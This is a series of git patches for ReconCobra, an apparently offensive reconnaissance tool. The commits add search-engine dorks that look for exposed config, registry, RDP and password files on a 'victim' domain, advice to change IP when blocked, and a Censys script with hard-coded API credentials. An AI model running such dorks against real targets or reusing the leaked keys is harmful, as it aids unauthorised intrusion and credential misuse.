From 022bc1643a5b7eeba3b7d2983175c1a7152bc7a7 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 16:50:05 +0500 Subject: [PATCH 001/272] Update installer.sh --- installer.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/installer.sh b/installer.sh index 3620072..2ad9f31 100644 --- a/installer.sh +++ b/installer.sh @@ -57,6 +57,8 @@ echo "y" | cpan install Mojo::DOM echo "y" | cpan install Data::Dumper echo "y" | cpan install Win32::Console::ANSI echo "y" | cpan install HTML::TableExtract +echo "y" | apt-get install golang +echo "y" | apt-get install curl echo -e "$red [$green+$red]$off Checking directories..." if [ -d "/usr/share/ReconCobra" ]; then echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; From 1571bf40d65044fc6d29c85f114446414b0b2eb0 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 16:58:14 +0500 Subject: [PATCH 002/272] Update termuxinstaller.sh --- termuxinstaller.sh | 25 +++++++++---------------- 1 file changed, 9 insertions(+), 16 deletions(-) diff --git a/termuxinstaller.sh b/termuxinstaller.sh index a3c39a3..5fcc1a1 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -22,22 +22,12 @@ clear -echo " "; -echo " "; -echo " "; -echo " .########...########..######.....#######...##....##.....######.....#######....######....########......########.. "; -echo " .##.....##..##.......##....##..##.....##..###...##....##....##...##.....##...##...##...##.....##....##.....##. "; -echo " .##.....##..##.......##........##.....##..####..##....##.........##.....##...##..##....##......##...##.....##. "; -echo " .########...######...##........##.....##..##.##.##....##.........##.....##...##..##....#########....#########. "; -echo " .##...##....##.......##........##.....##..##..####....##.........##.....##...##...##...##....##.....##.....##. "; -echo " .##....##...##.......##....##..##.....##..##...###....##....##...##.....##...##...###..##.....##....##.....##. "; -echo " .##.....##..########..######....#######...##....##.....######.....#######....#######...##......##...##.....##. "; -echo " Ultimate Recon and Foot Printing Software Version 1.0a "; -echo " [Coded By: Haroon Awan] "; -echo " [Contact: mrharoonawan@gmail.com] "; -echo " "; -echo " "; -echo " "; +echo "Ultimate Recon and Foot Printing Software Version 1.0a"; +echo "Termux Installer By: Hacker_Universe"; +echo "Coded By: Haroon Awan"; +echo "Mail: mrharoonawan@gmail.com"; +echo ""; + echo -e "prerequisite install" apt-get install wget @@ -64,6 +54,8 @@ echo "y" | cpan install Mojo::DOM echo "y" | cpan install Data::Dumper echo "y" | cpan install Win32::Console::ANSI echo "y" | cpan install HTML::TableExtract +echo "y" | apt-get install golang +echo "y" | apt-get install curl echo -e "Installing dependencies ..."; echo "y" | apt-get install xdg-utils echo "y" | apt-get install hping3 @@ -88,4 +80,5 @@ cd EyeWitness/setup chmod u+x setup.sh ./setup.sh cd .. +chmod u+x *.sh echo -e "Installed, run perl ReconCobra.pl for interface!"; From 3f29b32cdeacb5eb879bc9343b171cb32347eded Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 17:00:05 +0500 Subject: [PATCH 003/272] Update installer.sh --- installer.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/installer.sh b/installer.sh index 2ad9f31..4ae521d 100644 --- a/installer.sh +++ b/installer.sh @@ -110,7 +110,8 @@ echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git cd EyeWitness/setup chmod u+x setup.sh ./setup.sh - +cd .. +chmod u+x *.sh if [ -d "/usr/share/ReconCobra" ] ; then From cea10e2a75dc6ffd442c5847ca1848455325455e Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 17:04:52 +0500 Subject: [PATCH 004/272] Update ReconCobra.pl --- ReconCobra.pl | 3 +++ 1 file changed, 3 insertions(+) diff --git a/ReconCobra.pl b/ReconCobra.pl index 114e01f..c3027e2 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -626,6 +626,9 @@ sub banner { print color('bold black on_white'),"# Official Web ";print color('reset'),"";print color('bold white on_red')," http://www.mubassirkamdar.com - fb.com\\Mubassir.py\n"; print color('reset'); +print color('bold black on_white'),"# Instagram ";print color('reset'),"";print color('bold white on_red')," http://www.instagram.com/\Hacker_Universe\n"; +print color('reset'); + From 11c62b49dafa165c1be6dcbf506fa2c1e4b5a837 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 19:12:11 +0500 Subject: [PATCH 005/272] Add files via upload --- ReconCobra.pl | 8 +++-- censys.py | 81 +++++++++++++++++++++++++++++++++++++++++++++++++++ vasl.sh | 3 ++ 3 files changed, 89 insertions(+), 3 deletions(-) create mode 100644 censys.py create mode 100644 vasl.sh diff --git a/ReconCobra.pl b/ReconCobra.pl index c3027e2..bff0c1e 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -883,7 +883,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($brtdns=); + #chomp($brtdns=); print "\n"; Brutednsdomain(); enter(); @@ -1885,8 +1885,10 @@ sub Brutedomain { #--------------------------------------------------------------# #20 Brute DNS Subdomains # #--------------------------------------------------------------# -sub Brutedomain { -if (system("perl ./dnsbrute.pl") == 0) { +sub Brutednsdomain { + print item(),"Browse panthera folder for wordllist files and provide given file list\n"; +sleep(5); +if (system("perl panthera/dnsbrute.pl") == 0) { print "success!\n"; } else { diff --git a/censys.py b/censys.py new file mode 100644 index 0000000..fd3a3eb --- /dev/null +++ b/censys.py @@ -0,0 +1,81 @@ +# !/usr/bin/env python +# -*- coding: utf-8 -*- +# Name: censys.py +# Purpose: CynsysIO API Script +# By: Jerry Gamblin +# Date: 18.12.15 +# Rev Level 0.9 (With some great fixes by @BurnItWithTruth) +# ----------------------------------------------- + +from termcolor import colored +import argparse +import json +import requests +import codecs +import locale +import os +import sys +import ast + + +class Censys: + + def __init__(self, ip): + + self.API_URL = "https://www.censys.io/api/v1" + self.UID = "87e236b1-4e2c-41bd-9691-0ffd90d6af17" + self.SECRET = "kykASr9kJyld7SnyANt8o0mj11rNC9ux" + self.ip = ip + + def search(self): + + pages = float('inf') + page = 1 + + while page <= pages: + + params = {'query' : self.ip, 'page' : page} + res = requests.post(self.API_URL + "/search/ipv4", json = params, auth = (self.UID, self.SECRET)) + payload = res.json() + + + for r in payload['results']: + + ip = r["ip"] + proto = r["protocols"] + proto = [p.split("/")[0] for p in proto] + proto.sort(key=float) + protoList = ','.join(map(str, proto)) + + + print '[%s] IP: %s - Protocols: %s' % (colored('*', 'red'), ip, protoList) + + + if '80' in protoList: + self.view(ip) + + pages = payload['metadata']['pages'] + page += 1 + + def view(self, server): + + res = requests.get(self.API_URL + ("/view/ipv4/%s" % server), auth = (self.UID, self.SECRET)) + payload = res.json() + + try: + if 'title' in payload['80']['http']['get'].keys(): + print "[+] Title: %s" % payload['80']['http']['get']['title'] + if 'server' in payload['80']['http']['get']['headers'].keys(): + print "[+] Server: %s" % payload['80']['http']['get']['headers']['server'] + except Exception as error: + print error + +parser = argparse.ArgumentParser(description = 'CENSYS.IO Web Server Search') +parser.add_argument('-f', '--find', help='CENSYS Search', required = True) + + +args = parser.parse_args() +ip = args.find + +censys = Censys(ip) +censys.search() \ No newline at end of file diff --git a/vasl.sh b/vasl.sh new file mode 100644 index 0000000..f6c62b1 --- /dev/null +++ b/vasl.sh @@ -0,0 +1,3 @@ +#!/bin/bash +cd vasl +python2 vasl.py \ No newline at end of file From 34bac96c838483aa62f7b96954c7e60b513c5718 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 19:48:02 +0500 Subject: [PATCH 006/272] Create coba.sh --- coba.sh | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 coba.sh diff --git a/coba.sh b/coba.sh new file mode 100644 index 0000000..9cf7784 --- /dev/null +++ b/coba.sh @@ -0,0 +1,17 @@ +#!/bin/bash +YELLOW="\033[1;33m" +ENDCOLOR="\033[0m" +clear +echo -e +echo -e $YELLOW"[ + ] Points [ + ]"$ENDCOLOR +echo "1. Author = Computer Users" +echo "2. Last/Modified By = Computer Users" +echo "3. Producer or Creator = Software / OS Versions" +echo "4. Title = Path Information" +echo "5. Creator = Software / OS Versions" +echo "6. Mime = Content Information" +echo "7. SVG = image/svg+xml; charset=us-ascii means XSS" +echo "" +read -p "Enter victim url: " victim +echo "$victim" +python3 cobra_webmeta_crawler.py --wait=2 --download $victim From da2567d965e0e32ecd1a094192b82d26eff10aa5 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 19:48:30 +0500 Subject: [PATCH 007/272] Add files via upload --- cob_a.sh | 44 ++++++++++++++++++++++++++++++++++++++++++++ cob_b.sh | 44 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 88 insertions(+) create mode 100644 cob_a.sh create mode 100644 cob_b.sh diff --git a/cob_a.sh b/cob_a.sh new file mode 100644 index 0000000..b0cf003 --- /dev/null +++ b/cob_a.sh @@ -0,0 +1,44 @@ +#!/bin/bash +wget -i metacrawler_bingfiles.txt +cd exiftool +./exiftool *.pdf > pdfmetacrawler_results.txt +./exiftool *.svg > svgmetacrawler_results.txt +./exiftool *.doc > docmetacrawler_results.txt +./exiftool *.xls > xlsmetacrawler_results.txt +./exiftool *.xlsx > xslxmetacrawler_results.txt +./exiftool *.ppt > pptmetacrawler_results.txt +./exiftool *.pptx > pptxmetacrawler_results.txt +./exiftool *.csv > csvmetacrawler_results.txt +./exiftool *.rtf > rtfmetacrawler_results.txt +./exiftool *.zip > zipmetacrawler_results.txt +./exiftool *.rtf > rtfmetacrawler_results.txt +./exiftool *rar > rarmetacrawler_results.txt +./exiftool *.tgz > tgzmetacrawler_results.txt +./exiftool *.gz > gzmetacrawler_results.txt +./exiftool *.xz > xzmetacrawler_results.txt +mkdir metacrawler_results +cp *.pdf /metacrawler_results/ +cp *.svg /metacrawler_results/ +cp *.doc /metacrawler_results/ +cp *.xls /metacrawler_results/ +cp *.xlsx /metacrawler_results/ +cp *.ppt /metacrawler_results/ +cp *.pptx /metacrawler_results/ +cp *.csv /metacrawler_results/ +cp *.rtf /metacrawler_results/ +cp *.tgz /metacrawler_results/ +cp *.gz /metacrawler_results/ +cp *.xz /metacrawler_results/ +cd .. +rm *.pdf +rm *.svg +rm *.doc +rm *.xls +rm *.xlsx +rm *.ppt +rm *.pptx +rm *.csv +rm *.rtf +rm *.tgz +rm *.gz +rm *.xz \ No newline at end of file diff --git a/cob_b.sh b/cob_b.sh new file mode 100644 index 0000000..7da0ee8 --- /dev/null +++ b/cob_b.sh @@ -0,0 +1,44 @@ +#!/bin/bash +wget -i metacrawler_googlefiles.txt +cd exiftool +./exiftool *.pdf > pdfmetacrawler_results.txt +./exiftool *.svg > svgmetacrawler_results.txt +./exiftool *.doc > docmetacrawler_results.txt +./exiftool *.xls > xlsmetacrawler_results.txt +./exiftool *.xlsx > xslxmetacrawler_results.txt +./exiftool *.ppt > pptmetacrawler_results.txt +./exiftool *.pptx > pptxmetacrawler_results.txt +./exiftool *.csv > csvmetacrawler_results.txt +./exiftool *.rtf > rtfmetacrawler_results.txt +./exiftool *.zip > zipmetacrawler_results.txt +./exiftool *.rtf > rtfmetacrawler_results.txt +./exiftool *rar > rarmetacrawler_results.txt +./exiftool *.tgz > tgzmetacrawler_results.txt +./exiftool *.gz > gzmetacrawler_results.txt +./exiftool *.xz > xzmetacrawler_results.txt +mkdir metacrawler_results +cp *.pdf /metacrawler_results/ +cp *.svg /metacrawler_results/ +cp *.doc /metacrawler_results/ +cp *.xls /metacrawler_results/ +cp *.xlsx /metacrawler_results/ +cp *.ppt /metacrawler_results/ +cp *.pptx /metacrawler_results/ +cp *.csv /metacrawler_results/ +cp *.rtf /metacrawler_results/ +cp *.tgz /metacrawler_results/ +cp *.gz /metacrawler_results/ +cp *.xz /metacrawler_results/ +cd .. +rm *.pdf +rm *.svg +rm *.doc +rm *.xls +rm *.xlsx +rm *.ppt +rm *.pptx +rm *.csv +rm *.rtf +rm *.tgz +rm *.gz +rm *.xz \ No newline at end of file From 2142e63281ad42f0ade0113cfbf24707420e8039 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 19:51:02 +0500 Subject: [PATCH 008/272] Create cobb.sh --- cobb.sh | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 cobb.sh diff --git a/cobb.sh b/cobb.sh new file mode 100644 index 0000000..58e19d9 --- /dev/null +++ b/cobb.sh @@ -0,0 +1,4 @@ +#!/bin/bash +read -p "Enter victim url: " victim +echo "$victim" +perl metacrawler.pl From 285f644ff15c184b8af67ece6e5ba8de7049077c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 19:51:31 +0500 Subject: [PATCH 009/272] Update ReconCobra.pl --- ReconCobra.pl | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index bff0c1e..05bce5f 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1812,7 +1812,7 @@ sub Websiterecon { #15 Metadata Crawler # #--------------------------------------------------------------# sub Metadatacrawler { -if (system("./main.sh") == 0) { +if (system("./coba.sh") == 0) { print "success!\n"; } else { @@ -1824,7 +1824,7 @@ sub Metadatacrawler { #16 Metadata Googler # #--------------------------------------------------------------# sub Metadatagoogler { -if (system("./maing.sh") == 0) { +if (system("./cobb.sh") == 0) { print "Success!\n"; } else { From 08da9f04929875d46b6d3f7f5d7f0c214bb50a25 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 19:52:02 +0500 Subject: [PATCH 010/272] Add files via upload --- metacrawler.pl | 147 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 147 insertions(+) create mode 100644 metacrawler.pl diff --git a/metacrawler.pl b/metacrawler.pl new file mode 100644 index 0000000..0697a76 --- /dev/null +++ b/metacrawler.pl @@ -0,0 +1,147 @@ +# *************************************************************************************** # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# Agreement between "Haroon Awan" and "You"(user). # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# 1. By using this piece of software your bound to these point. # +# 2. This an End User License Agreement (EULA) is a legal between a software application # +# author "Haroon Awan" and (YOU) user of this software. # +# 3. This software application grants users rights to use for any purpose or modify and # +# redistribute creative works. # +# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # +# what you do with by/this software as your free to use this software. # +# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # +# crime or using it in un-authorized environment. # +# 6. You can use this software to protect and secure your data information in any # +# environment. # +# 7. It can also be used in state of being protection against the unauthorized use of # +# information. # +# 8. It can be used to take measures achieve protection. # +# *************************************************************************************** # + +#!/usr/bin/perl + +use HTML::TokeParser; +use Mojo; +use Mojo::DOM; +use HTML::TokeParser; +use HTTP::Request; +use LWP::Simple; +use LWP::UserAgent; +use IO::Socket::INET; +use Term::ANSIColor; +use IO::Select; +use HTTP::Response; +use HTTP::Request::Common qw(POST); +use HTTP::Request::Common qw(GET); +use URI::URL; +use feature ':5.10'; +use LWP::UserAgent; +no warnings 'uninitialized'; +use Term::ANSIColor; +use Data::Validate::Domain qw(is_domain); + +system "clear"; +print color('bold red'); +print "\n\n Project\n"; +print "\n : ShaheenX :\n\n\n"; +print color('bold yellow'); +print "[ + ] Programmer: Haroon Awan\n"; +print "[ + ] License: EULA\n"; +print "[ + ] Version: 1.0\n"; +print "[ + ] Contact: mrharoonawan\@gmail\.com \n"; +print "[ + ] Environment: Shell & Perl for Debian/Kali\n"; +print "[ + ] Github: Https://www.github.com/haroonawanofficial\n"; +print "[ + ] Design Scheme: Get meta data from google\n"; +print "[ + ] Usage: Read README.MD before using\n\n\n"; +print color('reset'); +print color("bold white"),"[ + ] 1 - Download Meta Data from Bing Search Engine\n"; +print color("bold white"),"[ + ] 2 - Download Meta Data from Google Search Engine\n"; +print color("bold white"),"[ + ] Enter desired search engine option: "; +print color("green"); +print color 'reset'; +chomp($name=); + +if ($name=~ "1") +{ +if ($^O =~ /MSWin32/) {system("cls"); system("color A"); +}else {} + +# USER AGENT ALGORITHM ###### +$ag = LWP::UserAgent->new(); +$ag->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801"); +$ag->timeout(10); +#$ag->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36"); +#Extra user-agent in case, google block any kind of request + +# DORK AND QUERY ALGORITHM ###### +print color("bold Green")," \n\n [ + ] Enter domain name only: "; +chomp($dork=); +print color("yellow"), "\n"; + + +# PAGE SCRAPE ALROGITHM ###### +for (my $i=1; $i<=2000; $i+=10) { + $url = "https://www.bing.com/search?q=site%3A$dork.com+ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:pdf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:ini | ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv&filt=all&first=$i&FORM=PERE"; +$resp = $ag->request(HTTP::Request->new(GET => $url)); +$rrs = $resp->content; + +# ERROR HANDLGING ALGORITHM ###### +if ($rrs =~ m/Enter captcha/i) { +print "[!] Error: Bing is blocking our requests, change your IP and clear cache [!]\n\n"; +exit; +} +else {} + +$p = HTML::TokeParser->new(\$rrs); + while ($p->get_tag("cite")) { + my @link = $p->get_trimmed_text("/cite"); + foreach(@link) { print "$_\n"; } + open(OUT, ">>metacrawler_bingfiles.txt"); print OUT "@link\n"; close(OUT); + } + } +print "[+] Finished enumerating Bing\n"; +$cleaner = system("./cob_a.sh"); +exit; +} + + +if ($name=~ "2") +{ +if ($^O =~ /MSWin32/) {system("cls"); system("color A"); +}else {} + +# USER AGENT ALGORITHM ###### +$ag = LWP::UserAgent->new(); +$ag->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801"); +$ag->timeout(10); + +# DORK AND QUERY ALGORITHM ###### +print color("bold Green")," \n\n [ + ] Enter domain name only: "; +chomp($dork=); +print color("yellow"), "\n"; + + +# PAGE SCRAPE ALROGITHM ###### +for (my $i=1; $i<=2000; $i+=10) { +$url = "https://google.com/search?q=site%3A$dork.com+ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:pdf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:ini | ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv&btnG=Search&hl=en-US&biw=&bih=&gbv=1&start=$i&filter=0"; +$resp = $ag->request(HTTP::Request->new(GET => $url)); +$rrs = $resp->content; + +# ERROR HANDLGING ALGORITHM ###### +if ($rrs =~ m/Our systems have detected unusual traffic/i) { +print "[!] Error: Google is blocking our requests, change your IP and clear cache [!]\n\n"; +exit; +} +else {} + +$p = HTML::TokeParser->new(\$rrs); + while ($p->get_tag("cite")) { + my @link = $p->get_trimmed_text("/cite"); + foreach(@link) { print "$_\n"; } + open(OUT, ">>metacrawler_googlefiles.txt"); print OUT "@link\n"; close(OUT); + } + } +print "[+] Finished enumerating Google\n"; +$cleaner = system("./cob_b.sh"); +exit; +} From 7cd954b9e0c9ab9ff6b4297b519ef70d31f8f64a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 19:55:48 +0500 Subject: [PATCH 011/272] Update metacrawler.pl --- metacrawler.pl | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/metacrawler.pl b/metacrawler.pl index 0697a76..4a3f18c 100644 --- a/metacrawler.pl +++ b/metacrawler.pl @@ -81,7 +81,7 @@ # PAGE SCRAPE ALROGITHM ###### for (my $i=1; $i<=2000; $i+=10) { - $url = "https://www.bing.com/search?q=site%3A$dork.com+ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:pdf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:ini | ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv&filt=all&first=$i&FORM=PERE"; + $url = "https://www.bing.com/search?q=site%3A$dork+ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:pdf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:ini | ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv&filt=all&first=$i&FORM=PERE"; $resp = $ag->request(HTTP::Request->new(GET => $url)); $rrs = $resp->content; @@ -116,14 +116,15 @@ $ag->timeout(10); # DORK AND QUERY ALGORITHM ###### -print color("bold Green")," \n\n [ + ] Enter domain name only: "; +print color("bold Green")," \n\n [ + ] Enter domain name : "; chomp($dork=); print color("yellow"), "\n"; # PAGE SCRAPE ALROGITHM ###### for (my $i=1; $i<=2000; $i+=10) { -$url = "https://google.com/search?q=site%3A$dork.com+ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:pdf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:ini | ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv&btnG=Search&hl=en-US&biw=&bih=&gbv=1&start=$i&filter=0"; +#$url = "https://google.com/search?q=site%3A$dork.com+ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:pdf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:ini | ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv&btnG=Search&hl=en-US&biw=&bih=&gbv=1&start=$i&filter=0"; +$url = "https://google.com/search?q=site%3A$dork+ext:xml+%7C+ext:conf+%7C+ext:cnf+%7C+ext:reg+%7C+ext:inf+%7C+ext:pdf+%7C+ext:rdp+%7C+ext:cfg+%7C+ext:txt+%7C+ext:ora+%7C+ext:ini+%7C+ext:doc+%7C+ext:docx+%7C+ext:odt+%7C+ext:pdf+%7C+ext:rtf+%7C+ext:sxw+%7C+ext:psw+%7C+ext:ppt+%7C+ext:pptx+%7C+ext:pps+%7C+ext:csv&btnG=Search&hl=en-US&biw=&bih=&gbv=1&start=$i&filter=0"; $resp = $ag->request(HTTP::Request->new(GET => $url)); $rrs = $resp->content; From 6483b321ea43459bd99553c227063afc32840721 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 19:56:07 +0500 Subject: [PATCH 012/272] Add files via upload --- cobra_webmeta_crawler.py | 207 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 207 insertions(+) create mode 100644 cobra_webmeta_crawler.py diff --git a/cobra_webmeta_crawler.py b/cobra_webmeta_crawler.py new file mode 100644 index 0000000..bc3b010 --- /dev/null +++ b/cobra_webmeta_crawler.py @@ -0,0 +1,207 @@ +# *************************************************************************************** # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# Agreement between "Haroon Awan" and "You"(user). # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# 1. By using this piece of software your bound to these point. # +# 2. This an End User License Agreement (EULA) is a legal between a software application # +# author "Haroon Awan" and (YOU) user of this software. # +# 3. This software application grants users rights to use for any purpose or modify and # +# redistribute creative works. # +# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # +# what you do with by/this software as your free to use this software. # +# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # +# crime or using it in un-authorized environment. # +# 6. You can use this software to protect and secure your data information in any # +# environment. # +# 7. It can also be used in state of being protection against the unauthorized use of # +# information. # +# 8. It can be used to take measures achieve protection. # +# *************************************************************************************** # + + +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# Name: cobra.py +# Original Author: Simon Descarpentries +# Modified By: Haroon Awan +# Licence: EULA + +import argparse, os, sys, threading +from sys import argv, stderr +from random import randint +from time import sleep +from urllib.parse import urljoin +import requests, re, yaml, datetime + +cmd = "clear" +returned_value = os.system(cmd) +sys.stdout.write("\033[1;37m") + +print ("""\ + + _.--.... + _....---;:'::' ^__/ + .' `'`___....---=-'` + /::' (` + \' `:. + `\::. ';-"":::-._ {} + _.--'`\:' .'`-.`'`.' `{I} + .-' `' .;;`\::. '. _: {-I}`\\ + .' .:. `:: _)::: _;' `{=I}.:|| + /. ::::`":::` ':'.-'`':. {_I}::// + |:. ':' ::::: .':'`:. `'|':||:' + \: .:. ''' .:| .:, _:./':.| + jgs '--.:::...---'\:'.:`':`':./ + '-::..:::-' + + +# ------------ -------- ----------- ----------- ------ +# ************ ********** *********** *********** ******** +# --- ---- ---- ---- ** ---- --- ---------- +# *** *** *** *********** ********* **** **** +# --- --- --- ----------- --------- ------------ +# *** **** **** **** ** **** **** ************ +# ------------ ---------- ----------- ---- ---- ---- ---- +# ************ ******** *********** **** **** **** **** +# crawler for metadata v1.0a + +[ Syntax ] +python3 cobra.py --wait=2 --download https://www.victim.com +""") + + +__all__ = ['boss', 'download_files', 'download_file', 'run_cmd'] +WANTED_EXT = '\.(pdf?|docx?|xlsx?|svg?|swf?|pptx?|o(d|t)[cgmpst]|csv|rtf|zip|rar|t?gz|xz|gz?)$' +BIN_EXT = re.compile( + '\.?(jpe?g|png|gif|ico|swf|flv|exe|mpe?.|h26.|avi|m.v|zip|rar|t?gz|xz|js)$', re.I) +RE_FIND_LINKS = re.compile('(href|src)="(.*?)"|url\("?\'?(.*?)\'?"?\)', re.I) +RE_REL_LINK = re.compile('^https?://', re.I) +RE_CONTENT_TYPE = re.compile('text/(html|css)', re.I) + +def run_cmd(argv): + regext = WANTED_EXT + do_dl = False + do_journal = False + do_wait = 5 + do_random_wait = True + single_page = False + + for i, arg in enumerate(argv): + if i == 0: # 1st arg of argv is the program name + continue + elif arg == '--download': + do_dl = True + elif arg.startswith('--wait'): + do_wait = int(arg[len('--wait='):]) + elif arg.startswith('http'): + continue + elif arg == '--download-file': + if len(argv) < 3: + raise SystemExit("Argument missing, check usage\n") + else: + download_file(argv[-1], do_wait, do_random_wait) + raise SystemExit + elif arg == '--download-files': + if len(argv) < 3: + raise SystemExit("Argument missing, check usage\n") + else: + download_files(argv[-1], do_wait, do_random_wait) + raise SystemExit + elif arg.startswith('--test'): + import doctest + doctest.run_docstring_examples(globals()[arg[len('--test='):]], globals()) + raise SystemExit() + else: + raise SystemExit("Invalid argument "+arg+"\n") + + if len(argv) < 2: + raise SystemExit("") + + boss(argv[-1], re.compile(regext, re.I), do_dl, do_journal, single_page) + + + + +def boss(base_url, wanted_ext=WANTED_EXT, do_dl=False, do_journal=False, + do_wait=False, do_random_wait=False, single_page=False): + journal = 0 + + if do_journal: +# logging.config.dictConfig(yaml.load(LOGGING)) + journal = logging.getLogger('journal') + found_pages_list = [base_url] + found_pages_set = set(found_pages_list) + regurgited_pages = set() + caught_docs = set() + for page_url in found_pages_list: + do_wait and controlled_sleep(do_wait, do_random_wait) + do_journal and journal.info("tries page " + page_url) + try: + page = requests.get(page_url, stream=True) + except Exception as e: + do_journal and journal.error(e) + stderr(e) + continue + if (page.status_code == requests.codes.ok and + RE_CONTENT_TYPE.search(page.headers['content-type'])): + found_pages_list, found_pages_set, regurgited_pages, caught_docs = explore_page( + base_url, page_url, str(page.content), wanted_ext, journal, do_dl, + found_pages_list, found_pages_set, regurgited_pages, caught_docs) + page.close() + if single_page: + break + if do_journal: + journal.info("found %d pages, %d doc(s)" % (len(found_pages_set), len(caught_docs))) + + +def explore_page(base_url, page_url, page_str, wanted_ext, journal, do_dl, + found_pages_list, found_pages_set, regurgited_pages, caught_docs): + # extract links + for a_href in RE_FIND_LINKS.finditer(page_str): + a_href = a_href.group(a_href.lastindex) + if not RE_REL_LINK.search(a_href): # if it's a relative link + a_href = urljoin(page_url, a_href) + if wanted_ext.search(a_href) and a_href not in caught_docs: # wanted doc ? + caught_docs.add(a_href) + do_dl and download_file(a_href) or print(a_href) + elif base_url in a_href and not BIN_EXT.search(a_href): # next page ? + if a_href not in found_pages_set: + journal and journal.info("will explore "+a_href) + found_pages_list.append(a_href) + found_pages_set.add(a_href) + elif a_href not in regurgited_pages: # junk link ? + journal and journal.debug("regurgited link "+a_href) + regurgited_pages.add(a_href) + return found_pages_list, found_pages_set, regurgited_pages, caught_docs + + +def controlled_sleep(seconds=1, do_random_wait=False): + sleep(randint(1, seconds) if do_random_wait else seconds) + + +def download_file(URL, do_wait=False, do_random_wait=False): + do_wait and controlled_sleep(do_wait, do_random_wait) + with open(URL.split('/')[-1], 'wb') as f: + f.write(requests.get(URL, stream=True).content) + + +def download_files(URLs_file, do_wait=False, do_random_wait=False): + line_nb = 0 + downloaded_files = 0 + with open(URLs_file) as f: + for line in f: + line = line.rstrip('\n') + if line is '': + continue + line_nb += 1 + print('download %d - %s' % (line_nb, line)) + try: + download_file(line, do_wait, do_random_wait) + downloaded_files += 1 + except Exception as 